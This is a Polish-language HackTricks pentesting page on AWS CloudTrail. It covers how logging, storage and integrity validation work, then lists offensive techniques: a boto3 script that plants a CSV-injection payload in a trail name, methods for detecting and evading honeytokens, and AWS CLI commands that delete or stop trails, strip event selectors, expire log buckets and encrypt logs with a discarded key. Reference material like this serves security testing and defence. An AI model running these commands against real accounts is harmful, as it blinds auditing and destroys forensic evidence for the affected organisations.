AWS - CloudTrail Enum

Support HackTricks

CloudTrail

AWS CloudTrail rejestruje i monitoruje aktywność w Twoim środowisku AWS. Zbiera szczegółowe dzienniki zdarzeń, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyt zgodności i śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami.

Każde zarejestrowane zdarzenie zawiera:

  • Nazwę wywołanego API: eventName

  • Wywołaną usługę: eventSource

  • Czas: eventTime

  • Adres IP: SourceIPAddress

  • Metodę agenta: userAgent. Przykłady:

  • Signing.amazonaws.com - Z AWS Management Console

  • console.amazonaws.com - Użytkownik główny konta

  • lambda.amazonaws.com - AWS Lambda

  • Parametry żądania: requestParameters

  • Elementy odpowiedzi: responseElements

Zdarzenia są zapisywane do nowego pliku dziennika około co 5 minut w pliku JSON, są przechowywane przez CloudTrail, a na koniec pliki dziennika są dostarczane do S3 około 15 minut po. Dzienniki CloudTrail mogą być agregowane w różnych kontach i regionach. CloudTrail pozwala na użycie integralności plików dziennika, aby móc zweryfikować, że Twoje pliki dziennika pozostały niezmienione od momentu, gdy CloudTrail je dostarczył. Tworzy skrót SHA-256 dzienników w pliku skrótu. Skrót sha-256 nowych dzienników jest tworzony co godzinę. Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, jakie zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia analityczne.

Dzienniki są przechowywane w wiadrze S3. Domyślnie używana jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego bezpieczeństwa możesz użyć SSE z KMS i własnymi kluczami.

Dzienniki są przechowywane w wiadrze S3 o tym formacie nazwy:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Gdzie BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Przykład: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Wewnątrz każdego folderu każdy dziennik będzie miał nazwę w tym formacie: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Konwencja nazewnictwa plików dziennika

Ponadto, pliki skrótu (do sprawdzania integralności plików) będą znajdować się w tym samym wiadrze w:

Agregowanie dzienników z wielu kont

  • Utwórz Trail w koncie AWS, do którego chcesz, aby pliki dziennika były dostarczane

  • Zastosuj uprawnienia do docelowego wiadra S3, umożliwiając dostęp między kontami dla CloudTrail i pozwól każdemu kontu AWS, które potrzebuje dostępu

  • Utwórz nowy Trail w innych kontach AWS i wybierz utworzone wiadro w kroku 1

Jednak nawet jeśli możesz zapisać wszystkie dzienniki w tym samym wiadrze S3, nie możesz agregować dzienników CloudTrail z wielu kont do dzienników CloudWatch należących do jednego konta AWS.

Pamiętaj, że konto może mieć różne Trail z CloudTrail włączone, przechowujące te same (lub różne) dzienniki w różnych wiadrach.

CloudTrail ze wszystkich kont organizacji do 1

Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować CloudTrail dla wszystkich kont w organizacji i uzyskać dzienniki do tylko 1 wiadra:

W ten sposób możesz łatwo skonfigurować CloudTrail we wszystkich regionach wszystkich kont i scentralizować dzienniki w 1 koncie (które powinieneś chronić).

Sprawdzanie plików dziennika

Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail może automatycznie wysyłać logi do CloudWatch, abyś mógł ustawić alerty, które ostrzegają cię, gdy wykonywane są podejrzane działania. Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy utworzyć rolę, która pozwala na tę akcję. Jeśli to możliwe, zaleca się użycie domyślnej roli AWS do wykonywania tych działań. Ta rola pozwoli CloudTrail na:

  • CreateLogStream: To pozwala na tworzenie strumieni logów CloudWatch

  • PutLogEvents: Dostarcza logi CloudTrail do strumienia logów CloudWatch

Event History

Historia zdarzeń CloudTrail pozwala na przeglądanie w tabeli logów, które zostały zarejestrowane:

Insights

CloudTrail Insights automatycznie analizuje zdarzenia zarządzania zapisem z tras CloudTrail i informuje cię o nietypowej aktywności. Na przykład, jeśli nastąpi wzrost zdarzeń TerminateInstance, który różni się od ustalonych podstaw, zobaczysz to jako zdarzenie Insight. Te zdarzenia ułatwiają znalezienie i reagowanie na nietypową aktywność API jak nigdy dotąd.

Wnioski są przechowywane w tym samym koszu co logi CloudTrail w: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Integralność pliku logu CloudTrail

  • Walidacja, czy logi nie zostały zmanipulowane (zmodyfikowane lub usunięte)

  • Używa plików skrótów (tworzy hash dla każdego pliku)

    • Haszowanie SHA-256

    • SHA-256 z RSA do podpisywania cyfrowego

    • klucz prywatny należący do Amazon

  • Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)

Zatrzymaj nieautoryzowany dostęp

  • Użyj polityk IAM i polityk koszyków S3

    • zespół bezpieczeństwa —> dostęp administracyjny

    • audytorzy —> dostęp tylko do odczytu

  • Użyj SSE-S3/SSE-KMS do szyfrowania logów

Zapobiegaj usuwaniu plików logów

  • Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków

  • Skonfiguruj usuwanie MFA S3

  • Walidacja za pomocą Walidacji pliku logu

Access Advisor

AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS CloudTrail, aby zebrać swoje wnioski. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Access Advisor wykorzystuje te dane, aby pokazać, kiedy usługi były ostatnio używane. Analizując logi CloudTrail, Access Advisor może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące udoskonalania uprawnień, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia.

Dlatego Access Advisor informuje o niepotrzebnych uprawnieniach przyznawanych użytkownikom, aby administrator mógł je usunąć

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Możliwe jest przeprowadzenie ataku CVS w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu. Poniższy kod wygeneruje wpis logu z nieprawidłową nazwą Trail zawierającą ładunek:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

For more information about CSV Injections check the page:

For more information about this specific technique check https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass Detection

HoneyTokens bypass

Honeytokens są tworzone w celu wykrywania eksfiltracji wrażliwych informacji. W przypadku AWS, są to klucze AWS, których użycie jest monitorowane, jeśli coś wywoła akcję z tym kluczem, to ktoś musiał ukraść ten klucz.

Jednakże, Honeytokens, takie jak te stworzone przez Canarytokens, SpaceCrab, SpaceSiren używają rozpoznawalnej nazwy konta lub tego samego identyfikatora konta AWS dla wszystkich swoich klientów. Dlatego, jeśli możesz uzyskać nazwę konta i/lub identyfikator konta bez powodowania, że Cloudtrail utworzy jakikolwiek log, możesz wiedzieć, czy klucz jest honeytokenem, czy nie.

Pacu ma pewne zasady, aby wykryć, czy klucz należy do Canarytokens, SpaceCrab, SpaceSiren:

  • Jeśli canarytokens.org pojawia się w nazwie roli lub identyfikator konta 534261010715 pojawia się w komunikacie o błędzie.

  • Testując je bardziej niedawno, używają konta 717712589309 i nadal mają ciąg canarytokens.com w nazwie.

  • Jeśli SpaceCrab pojawia się w nazwie roli w komunikacie o błędzie

  • SpaceSiren używa uuids do generowania nazw użytkowników: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Jeśli nazwa wygląda na losowo wygenerowaną, istnieje duże prawdopodobieństwo, że jest to HoneyToken.

Get the account ID from the Key ID

Możesz uzyskać identyfikator konta z zakodowanego wewnątrz klucza dostępu jak wyjaśniono tutaj i sprawdzić identyfikator konta z twoją listą kont Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Sprawdź więcej informacji w oryginalnych badaniach.

Nie generuj logu

Najskuteczniejsza technika w tym przypadku jest właściwie prosta. Po prostu użyj klucza, który właśnie znalazłeś, aby uzyskać dostęp do jakiejś usługi w swoim własnym koncie atakującego. To spowoduje, że CloudTrail wygeneruje log w TWOIM WŁASNYM koncie AWS, a nie w koncie ofiary.

Rzecz w tym, że wynik pokaże błąd wskazujący na identyfikator konta i nazwę konta, więc będziesz mógł zobaczyć, czy to jest Honeytoken.

Usługi AWS bez logów

W przeszłości istniały niektóre usługi AWS, które nie wysyłały logów do CloudTrail (znajdź listę tutaj). Niektóre z tych usług odpowiedzą z błędem zawierającym ARN roli klucza, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do nich dostęp.

W ten sposób atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu. W ARN atakujący może zobaczyć identyfikator konta AWS i nazwę, łatwo jest poznać identyfikatory kont i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken.

Zauważ, że wszystkie publiczne API, które odkryto, że nie tworzą logów CloudTrail, zostały teraz naprawione, więc być może będziesz musiał znaleźć swoje własne...

Aby uzyskać więcej informacji, sprawdź oryginalne badania.

Uzyskiwanie dostępu do infrastruktury trzeciej

Niektóre usługi AWS tworzą pewną infrastrukturę, taką jak bazy danych lub klastry Kubernetes (EKS). Użytkownik rozmawiający bezpośrednio z tymi usługami (jak API Kubernetes) nie będzie używał API AWS, więc CloudTrail nie będzie w stanie zobaczyć tej komunikacji.

Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i rozmawiać z usługą API bez wykrycia przez Cloudtrail.

Więcej informacji w:

AWS - EKS Post Exploitation

Modyfikowanie konfiguracji CloudTrail

Usuń szlaki

aws cloudtrail delete-trail --name [trail-name]

Zatrzymaj ślady

aws cloudtrail stop-logging --name [trail-name]

Wyłącz logowanie w wielu regionach

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Wyłączanie logowania za pomocą selektorów zdarzeń

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

W pierwszym przykładzie pojedynczy selektor zdarzeń jest podany jako tablica JSON z pojedynczym obiektem. "ReadWriteType": "ReadOnly" wskazuje, że selektor zdarzeń powinien rejestrować tylko zdarzenia tylko do odczytu (więc CloudTrail insights nie będzie sprawdzać zdarzeń zapisu, na przykład).

Możesz dostosować selektor zdarzeń w oparciu o swoje specyficzne wymagania.

Usuwanie logów za pomocą polityki cyklu życia S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modyfikacja konfiguracji koszyka

  • Usuń koszyk S3

  • Zmień politykę koszyka, aby odmówić wszelkich zapisów z usługi CloudTrail

  • Dodaj politykę cyklu życia do koszyka S3, aby usunąć obiekty

  • Wyłącz klucz KMS używany do szyfrowania dzienników CloudTrail

Ransomware Cloudtrail

Ransomware S3

Możesz wygenerować klucz asymetryczny i sprawić, aby CloudTrail szyfrował dane tym kluczem oraz usunąć klucz prywatny, aby zawartość CloudTrail nie mogła być odzyskana. To jest zasadniczo ransomware S3-KMS wyjaśnione w:

AWS - S3 Post Exploitation

Ransomware KMS

To najprostszy sposób na przeprowadzenie poprzedniego ataku z różnymi wymaganiami dotyczącymi uprawnień:

AWS - KMS Post Exploitation

Referencje

Wsparcie dla HackTricks

Last updated